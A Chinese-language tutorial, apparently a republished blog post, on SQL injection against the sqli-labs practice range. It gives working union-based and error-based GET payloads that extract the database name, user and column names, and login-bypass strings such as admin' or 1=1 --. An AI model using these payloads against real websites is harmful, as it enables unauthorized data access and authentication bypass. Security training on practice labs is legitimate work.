SQL注入实操(get、post基于报错的注入,sqlilabs靶场)

这篇具有很好参考价值的文章主要介绍了SQL注入实操(get、post基于报错的注入,sqlilabs靶场)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、get基于报错的注入

1、利用order by 判断字段数

正确

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

?id=1'  报错

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

?id=1' order by 3 --+  (编号为3正确)------可以看出为3个字段

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

(编号为4错误)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

2、union联合注入?id=0(不存在这样的记录,查不到的意思)(报错)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

?id=0' union select 1,2,3 --+    (联合查询前面查3个后面查3个)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

?id=0' union select 1,database(),user() --+        报: 数据库名  用户名

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

?id=0%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='user' --+      报:数据库表名

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

二、post基于报错的注入

在第一关卡得到用户名和密码。

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

 输入上面的账号密码登入成功

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

上面是知道密码账号的,如果我们不知道怎么办了

可以先注入一下试一下注入:账号:Dumb\  密码: 123456

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

万能密码

admin' or 1=1 -- (注意--后面有一个空格) (11关卡)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

admin") or 1=1 -- (注意--后面有一个空格) (12关卡)

1、输入账号:Dumb\   密码:123456(发现‘123456“)以”)结尾)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库

则万能密码是:admin") or 1=1 -- 

SQL注入实操(get、post基于报错的注入,sqlilabs靶场),sql,数据库文章来源地址https://www.toymoban.com/news/detail-811215.html

到了这里,关于SQL注入实操(get、post基于报错的注入,sqlilabs靶场)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SQL注入测试-业务安全测试实操(10)

    测试原理和方法 SQL注入就是通过把SQL命令插入Web表单提交或输入域名页面请求的查询字符串最终达到欺骗服务器执行恶意的SOL命令的目的。具体来说,它是利用现有应用程序,将(恶意)SOL命令注入后台数据库引擎执行的能力,它可以通过在Web表单中输入 (恶意)SOL 语句获取一个

    2024年02月09日
    浏览(39)
  • 解决springboot启动时minio报错的问题(注入bean时报错)

    最近在将原有的单体springboot项目搬迁至springcloud的时候出现了启动项目minio报错的问题。 Error creating bean with name ‘minioClient’ defined in class path resource [com/ruoyi/clockin_v2/config/MinioConfig.class]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationExcept

    2024年02月15日
    浏览(48)
  • k8s报错的解决办法: kubelet的日志出现 Error getting node的报错。

    先看一下报错的图片 这是在初始化maser的时候报的错。 我的环境情况 k8s:1.22.12 docker: 18.06.3 操作系统以及内核版本 解决办法 首先检查你到底写没写错 确定你的主机名字无误后,那么就进行这一步吧,无奈之举了 修改docker的配置文件 修改kubelet的启动项 或者 直接使用老版本

    2023年04月09日
    浏览(51)
  • SqliLabs 第二关 ,数字型注入!!!

    首先打开网页,进行注入点的测试 输入 ?id=1 and 1=1 发现1=2的时候出现了报错,说明服务器接收了我们的指令,并且进行了反馈,说明了有注入点的存在,然后对注入点进行测试 然后输入 order by() 来拆解一下有多少个显示字段,输入4发现没有回显, 输入 order by 3 发现有回

    2024年02月03日
    浏览(52)
  • Composer出现 SSL certificate problem: unable to get local issuer certificate 报错的解决方法

    Composer出现crul SSL报错的问题是没有安装CA证书导致的!!! 错误信息如下: [ComposerDownloaderTransportException]                                                                                                      curl error 60 while downloading https://repo.packagist.org/package

    2024年02月03日
    浏览(69)
  • 使用postman发送post请求,却报错不支持get请求的原因

    场景复现 可以看到我们postman发出的确实是post请求,message却报错这个接口不支持get请求,说明服务器实际上收到的是一个get请求。 产生原因分析 如果我们访问的是线上的接口,线上的nginx一般都会对http访问做一个302重定向,跳转为https访问。 如果我们正常访问一个页面,它

    2024年02月09日
    浏览(67)
  • 28、web攻防——通用漏洞&SQL注入&HTTP头XFF&COOKIE&POST请求

    $_GET :接收get请求,传输少量数据,URL是有长度限制的; $_POST :接收post请求; $_COOKIE :接收cookie,用于身份验证; $_REQUEST :收集通过 GET 、POST和COOKIE 方法发送的表单数据; $_SERVER :接收数据包中的一些内容,如浏览器信息、当前访问url地址等; 网站功能点: 后台要记录

    2024年01月19日
    浏览(57)
  • GET http://localhost:8080/xx/xx 404 (Not Found) 和Uncaught (in promise) Error: failed报错的原因

    这两天,我遇见了一个很离谱的错误,我找不到原因发生在哪里,但是知道代理服务器出错了,代理了后端给的接口,但是,却向本地发起请求,快把我整崩溃了 GET http://localhost:8080/xx/xx 404 (Not Found) 和Uncaught (in promise) Error: failed 开启代理后,发起请求,因为后端给的路径没有

    2024年02月07日
    浏览(54)
  • 【SQL Server安装绊脚石】排除报错的终极指南

    ​ 在迈向数据库管理系统的世界时,SQL server的安装过程往往是我们踌躇的绊脚石。一不小心,就可能陷入各种报错的困境中。然而,正是这些挑战,让我们更加升入地了解SQL server地安装与配置,也让我们在解决问题的过程中不断成长,本文将为小伙伴们呈现排除SQL server安装

    2024年03月19日
    浏览(58)
  • SQL注入(一)联合查询 报错注入

    目录 1.sql注入漏洞是什么 2.联合查询: 2.1注入思想 2.2 了解information_schema 数据库及表 3.可替代information_schema的表 3.1 sys库中重要的表 4. 无列名注入 利用 join-using 注列名。 4. 报错注入 4.1 常用函数:updatexml、extractvalue 1.updatexml 注意几点: 2.extractvalue 3.floor 是web网站的常见攻击

    2024年02月02日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包